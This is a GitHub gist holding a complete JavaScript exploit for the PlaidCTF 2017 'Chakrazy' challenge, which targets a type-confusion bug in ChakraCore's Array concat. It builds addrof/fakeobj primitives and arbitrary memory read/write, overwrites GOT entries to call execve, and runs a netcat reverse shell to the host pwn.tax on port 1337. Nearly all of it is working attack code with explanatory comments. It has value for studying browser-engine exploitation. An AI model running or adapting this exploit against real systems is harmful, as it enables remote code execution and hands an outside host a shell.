-
-
Save wizche/0cf5f3f3083fd8437c9c06a1f19e6c42 to your computer and use it in GitHub Desktop.
Exploit for Chakrazy challenge from PlaidCTF 2017 - ChakraCore exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//////////////////////////////////////////////////////////////////////////// | |
// | |
// The vulnerability was that the following line of code could change the type of the | |
// underlying Array from JavascriptNativeIntArray to JavascriptArray: | |
// | |
// spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE; | |
// | |
// As can be seen in the provided .diff, the check for whether the type of the pDestArray has changed | |
// was removed. If the aItem then is not a JavascriptArray, the following code path is taken: | |
// else | |
// { | |
// JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); | |
// .... | |
// | |
// Consequently in ConvertToVarArray() the pDestArray is converted to a JavascriptArray, even though it | |
// already is a JavascriptArray: | |
// ival = ((SparseArraySegment<int32>*)seg)->elements[i]; | |
// The cast will let the ival be an int32, even though it actually should be a Val pointer. | |
// | |
// With this we can get primitives to leak addresses and fake objects, see comments in the | |
// corresponding functions below if you are interested. Using those primitives we achieve | |
// an arbitary read/write. | |
// | |
// From there, the basic exploitation idea is to overwrite GOT entries in a way that execve() | |
// will get called on input that we control. After looking through ChakraCore code I found a call to | |
// memmove in TypedArrayBase::Set(TypedArrayBase* source, uint32 offset). The memmove is called | |
// in the following way: | |
// void *ret_val = memmove_xplat(dst, src, count); | |
// It can be triggered by calling: | |
// var a = new Uint8Array(10); | |
// var b = new Uint8Array(10); | |
// a.set(b); | |
// In this case `dst` will point to the buffer of `a`, `src` to the buffer of `b` and `count` to the | |
// size of `b`. If we overwrite memmove() with execve() in the GOT, will have full control over | |
// the first two parameters, but unfortunately we do not control `count` very much. | |
// | |
// In order for execve() to succeed, we need `count` to be a valid pointer. | |
// | |
// After looking around some more in the code I found a call to memset() in | |
// SharedArrayBuffer::SharedArrayBuffer(uint32 length, DynamicType * type, Allocator allocator) | |
// which will move the value in r12 to rdx: | |
// mov rdx, r12 | |
// call 0x7ffff5875f50 | |
// | |
// Luckily for us, there is a valid pointer in r12 at the right time. | |
// | |
// Then all that is left to do: | |
// 1. Overwrite memmove@GOT with the address of the `mov rdx, r12` above | |
// 2. Overwrite memset@GOT with execve | |
// 3. Call cmd.set(args) and our command with the given arguments is executed. | |
// | |
/////////////////////////////////////////////////////////////////////////////////// | |
function pwn() { | |
// exploit the bug and create our arbitrary r/w primitive | |
var mem = gimme_rw(); | |
// get the base of libChakraCore.so | |
var base = get_base(mem); | |
console.log("[+] base @ " + base.toString(16)); | |
// the following offets are hardcoded | |
var execve_got = base + 0xd9b790; | |
console.log("[+] execve_got @ " + execve_got.toString(16)); | |
var execve_plt = mem.read64(execve_got); | |
console.log("[+] execve_plt @ " + execve_plt.toString(16)); | |
var memmove_got = base + 0xd9b0f0; | |
console.log("[+] memmove_got @ " + memmove_got.toString(16)); | |
var memset_got = base + 0xd9b218; | |
console.log("[+] memset_got @ " + memset_got.toString(16)); | |
var load_ptr_in_rdx = base + 0x5c7c4b; | |
console.log("[+] load_ptr_in_rdx @ " + load_ptr_in_rdx.toString(16)); | |
// now set up our command | |
var cmd = "/bin/sh"; | |
// write the command into a Uint8Array | |
var target = new Uint8Array(0x1234); | |
for (var i = 0; i < cmd.length; i++) { | |
target[i] = cmd.charCodeAt(i); | |
} | |
// now set up the arguments for the command | |
// the payload here is jsut a simple reverse shell using netcat | |
// from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
var args = ["dontcare", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc pwn.tax 1337 >/tmp/f"]; | |
var arg_array = create_arg_array(args, mem); | |
// need to call .set() before exploiting to resolve | |
// some PLT entries i guess, otherwise we will segfault | |
(new Uint8Array(1)).set(1); | |
// overwrite memmove with load_ptr_in_rdx (which will call memset just after) | |
mem.write32(memmove_got, lower(load_ptr_in_rdx)); | |
mem.write32(memmove_got+4, upper(load_ptr_in_rdx)); | |
// overwrite memset with execve_plt | |
mem.write32(memset_got, lower(execve_plt)); | |
// GIMME SHELL NOW | |
target.set(arg_array); | |
} | |
function cloneFunc( func ) { | |
// from http://stackoverflow.com/a/19515928 | |
// used to create a copy of a function | |
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi | |
, s = func.toString().replace(/^\s|\s$/g, '') | |
, m = reFn.exec(s); | |
if (!m || !m.length) return; | |
var conf = { | |
name : m[1] || '', | |
args : m[2].replace(/\s+/g,'').split(','), | |
body : m[3] || '' | |
} | |
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body)); | |
return clone; | |
} | |
function fakeobj(addr) { | |
// proxy function which clones the original function at each call | |
// this is needed cause otherwise the function gets JITed and does not | |
// work more than once | |
fakeobj_ = cloneFunc(fakeobj_); | |
return fakeobj_(addr); | |
} | |
function addrof(obj) { | |
addrof_ = cloneFunc(addrof_); | |
return addrof_(obj); | |
} | |
function fakeobj_(addr) { | |
// fakeobj() allows us to get a javascript handle for an arbitrary address | |
// Basically it can be used to somewhere in memory fake the layout and contents | |
// of an object and then actually return a handle for the object and use it | |
var a1 = []; | |
for (var i = 0; i < 0x100; i++) { | |
a1[i] = i; | |
} | |
var a2 = [lower(addr), upper(addr)]; | |
var c = new Function(); | |
c[Symbol.species] = function() { | |
new_array = []; | |
return new_array; | |
}; | |
a1.constructor = c; | |
a2.__defineGetter__(Symbol.isConcatSpreadable, function () { | |
new_array[0] = {}; | |
return true; | |
}); | |
var res = a1.concat(a2); | |
return res[0x100/2]; | |
} | |
function addrof_(obj) { | |
// addrof() allows to leak the memory location of an object | |
// this function uses the bug in JavascriptArray::ConcatIntArgs | |
var a = [0, 1, 2]; | |
var b = [0, 1, 2]; | |
var cons = new Function(); | |
cons[Symbol.species] = function() { | |
qq = []; // here qq is just a JavascriptNativeIntArray | |
return qq; | |
} | |
// using the species contructor allows us to get a handle on the result array | |
// of functions such as map() or concat() | |
a.constructor = cons; | |
// Here we define a custom getter for the Symbol.isConcatSpreadable property | |
// In it we change the type of qq by simply assigning an object to it | |
fakeProp = { get: function() { | |
b[1] = obj; | |
qq[0] = obj; // qq was JavascriptNativeIntArray, now changed to JavascriptArray | |
return true; | |
}}; | |
Object.defineProperty(b, Symbol.isConcatSpreadable, fakeProp); | |
// trigger the vulnerability | |
var c = a.concat(b); | |
return combine(c[0], c[1]); | |
} | |
function lower(x) { | |
// returns the lower 32bit of x | |
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0; | |
} | |
function upper(x) { | |
// returns the upper 32bit of x | |
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0; | |
} | |
function combine(a, b) { | |
a = a >>> 0; | |
b = b >>> 0; | |
return parseInt(b.toString(16) + a.toString(16), 16); | |
} | |
// use Uint64Number to leak the Array vtable pointer | |
function leak_vtable() { | |
// We will place a JavascriptUint64Number object in the very | |
// last element of `a`. The memory layout will look something like this: | |
// | |
// [ vtable ptr of a | type ptr of a ] | |
// [ ... more header fields of a ... ] | |
// [ el0 el1 el2 el3 ] | |
// [ el4 el5 el6 el7 ] | |
// [ el8 el9 el10 el11 ] | |
// [ el12 el13 el14 el15 ] | |
// [ vtable ptr of b | type ptr of b ] | |
// [ .... more fields of b ... ] | |
// | |
// We will fake the object by setting el14 and el15 to point | |
// to a type struct containing the value 0x6, which we store in el4: | |
// | |
// [ vtable ptr of a | type ptr of a ] | |
// [ ... more header fields of a ... ] | |
// [ el0 el1 el2 el3 ] | |
// [ 0x6 el5 el6 el7 ] | |
// [ el8 el9 el10 el11 ] | |
// [ 0 0 ptr_to_el4 ] <--fake Uint64Number | |
// [ vtable ptr of b | type ptr of b ] <-* | |
// [ .... more fields of b ... ] | |
// | |
// Our fake JavascriptUint64Number will start at el12. The first qword | |
// is the vtable ptr (it wont be used so we dont set it), the second one | |
// is the type ptr (we set it to point to el4) and the third qword | |
// is the actual integer value. | |
// When we call parseInt(fakeUint64obj) it will grab and return | |
// the value from the third qword, which in our setup above is the | |
// vtable ptr of b. | |
var a = new Array(16); | |
for (var i = 0; i < 18;i++) a[i] = 0; | |
var b = new Array(16); | |
for (var i = 0; i < 18;i++) b[i] = 0x1337+i; | |
// get the address of the first array | |
a_addr = addrof(a); | |
// at offset 0x68 lies el4, i.e. the type of our fake Uint64 obj | |
uint64_type_ptr = a_addr + 0x68; | |
// we set el4 to 0x6 since 0x6 is the type of Uint64Number | |
a[4] = 0x6; // type of Uint64 | |
// set up the type pointer for our fake a Uint64 object | |
a[16] = lower(uint64_type_ptr) | |
a[17] = upper(uint64_type_ptr) | |
// now everything is set up, we fake the Uint64 object | |
fakeUint64 = fakeobj(a_addr + 0x90) | |
// finally we leak the vtable pointer of b by calling parseInt() | |
// on our fake object | |
vtable = parseInt(fakeUint64); | |
return vtable | |
} | |
function gimme_rw() { | |
// For arbitrary read/write we will fake a Uint32Array inside the inline data | |
// of a regular Array. For a regular Array to have inline data it has to be initialized | |
// with at most 16 elements. | |
// Once we have the Uint32Array faked, we can control its buffer pointer and point | |
// it to wherever we want, allowing us to read/write at any address. | |
// | |
// In order to fake a Uint32Array we need to set 5 values: the vtable pointer, the type | |
// pointer, the ArrayBuffer pointer, its size and finally the buffer pointer. The memory layout | |
// will look like this: | |
// | |
// 0x00 | vtable ptr | type ptr | <----. | |
// 0x10 | ... | ... | | | |
// 0x20 | ... | ... | | | |
// ... ... ... >------ new Array(16) | |
// 0x50 | ... | vtable ptr | <-. | | |
// 0x60 | type ptr | 0 | | | | |
// 0x70 | 0 | size | >----- faked Uint32Array | |
// 0x80 | ArrayBuffer ptr | 0 | | | | |
// 0x90 | buffer ptr | ... | <-* | | |
// 0xa0 | ... | ... | | | |
// <--- * | |
// Then as we can see at the offset 0x58 we will have our fake Uint32Array. | |
// | |
// first we leak the vtable of an Array | |
array_vtable = leak_vtable(); | |
console.log("[+] array vtable @ " + array_vtable.toString(16)); | |
// Using an offset we calculate the Uint32Array vtable | |
uint_vtable = array_vtable - 0x18368; | |
console.log("[+] Uint32Array vtable @ " + uint_vtable.toString(16)); | |
// Next we obtain the address of an ArrayBuffer | |
var ab = new ArrayBuffer(0x1000); | |
var ab_addr = addrof(ab); | |
// The type pointer should point to a struct whose first element | |
// is 0x30, which is the type id for a Uint32Array | |
var type = new Array(16); | |
type[0] = 0x30; // type == Uint32Array == 0x30 | |
// the address we want is at offset 0x58 (where the inline data for Arrays begins) | |
var array_type = addrof(type)+0x58; | |
// now fake the Uint32Array object inside the inline data of the real Array | |
var real = new Array(16); | |
var real_addr = addrof(real); | |
// fake vtable pointer | |
real[0] = lower(uint_vtable); | |
real[1] = upper(uint_vtable); | |
// fake type pointer | |
real[2] = lower(array_type); | |
real[3] = upper(array_type); | |
// dont care | |
real[4] = 0; | |
real[5] = 0; | |
real[6] = 0; | |
real[7] = 0; | |
// fake size | |
real[8] = 0x1000; | |
real[9] = 0; | |
// fake ArrayBuffer pointer | |
real[10] = lower(ab_addr); | |
real[11] = upper(ab_addr); | |
// dont care | |
real[12] = 0; | |
real[13] = 0; | |
// the following creates an object which we will use to read and write | |
// memory arbitrarily | |
var memory = { | |
handle: fakeobj(real_addr + 0x58), | |
init: function(addr) { | |
// we set the buffer pointer of the fake Uint32Array to the | |
// target address | |
real[14] = lower(addr); | |
real[15] = upper(addr); | |
// Now get a handle to the fake object! | |
return memory.handle; | |
}, | |
read32: function(addr) { | |
fake_array = memory.init(addr); | |
return fake_array[0]; | |
}, | |
read64: function(addr) { | |
fake_array = memory.init(addr); | |
return combine(fake_array[0], fake_array[1]); | |
}, | |
write32: function(addr, data) { | |
fake_array = memory.init(addr); | |
fake_array[0] = data; | |
}, | |
write64: function(addr, data) { | |
fake_array = memory.init(addr); | |
fake_array[0] = lower(data); | |
fake_array[1] = lower(upper); | |
} | |
} | |
return memory; | |
} | |
function get_base(mem) { | |
// the base can be found by reading the first vtable entry of an Array, | |
// which will be a pointer to the Finalize function. With an offet the | |
// base can be calculated | |
var x = new Array(16); | |
x_addr = addrof(x); | |
vtable = mem.read64(x_addr); | |
finalizer = mem.read64(vtable); | |
console.log(finalizer.toString(16)); | |
return finalizer - 0x154a80; // hardcoded offset | |
} | |
function create_arg_array(args, mem) { | |
// This will generate a valid args array for execve() | |
// For this we will create first a Uint8Array which will contain our | |
// arg strings. For example if we want to execute `/bin/cat /etc/flag` later on | |
// the args array will contain ['dontcare', '/etc/flag', 0] | |
// arg_str is the array containing the actual arg strings | |
var arg_str = new Uint8Array(1000); | |
var arg_str_buf = addrof(arg_str) + 0x38; // offset 0x38 is the pointer to the actual buffer containing data | |
var arg_str_addr = mem.read64(arg_str_buf); | |
console.log("[+] arg_str @ " + arg_str_addr.toString(16)); | |
// now we fill in the actual strings and at the same time create an arg_ptrs array | |
// containing pointers to those strings | |
var arg_ptrs = []; | |
var lastidx = 0; // current char counter | |
for (var i = 0; i < args.length; i++) { | |
arg_ptrs.push(arg_str_addr + lastidx); | |
// write the current arg string into the buffer | |
for (var j = 0; j < args[i].length; j++) { | |
arg_str[lastidx++] = args[i].charCodeAt(j); | |
} | |
arg_str[lastidx++] = 0; // null terminated strings | |
} | |
// Here we create another array in which we will write the pointers | |
// from the `arg_ptrs` array. Remember, those pointers point to our arg | |
// strings. | |
var buffer = new ArrayBuffer(1000); | |
var arg_array = new Uint32Array(buffer); | |
var arg_array_buf = addrof(arg_array) + 0x38 | |
var arg_array_addr = mem.read64(arg_array_buf); | |
for (var i = 0; i < arg_ptrs.length; i++) { | |
arg_array[2*i] = lower(arg_ptrs[i]); | |
arg_array[2*i + 1] = upper(arg_ptrs[i]); | |
} | |
console.log("[+] arg_ptr_buf @ " + arg_array_addr.toString(16)); | |
// now arg_array contains pointers to the argument strings | |
// we can simply return a Uint8Array (this is important for later) now | |
return new Uint8Array(buffer); | |
} | |
pwn(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment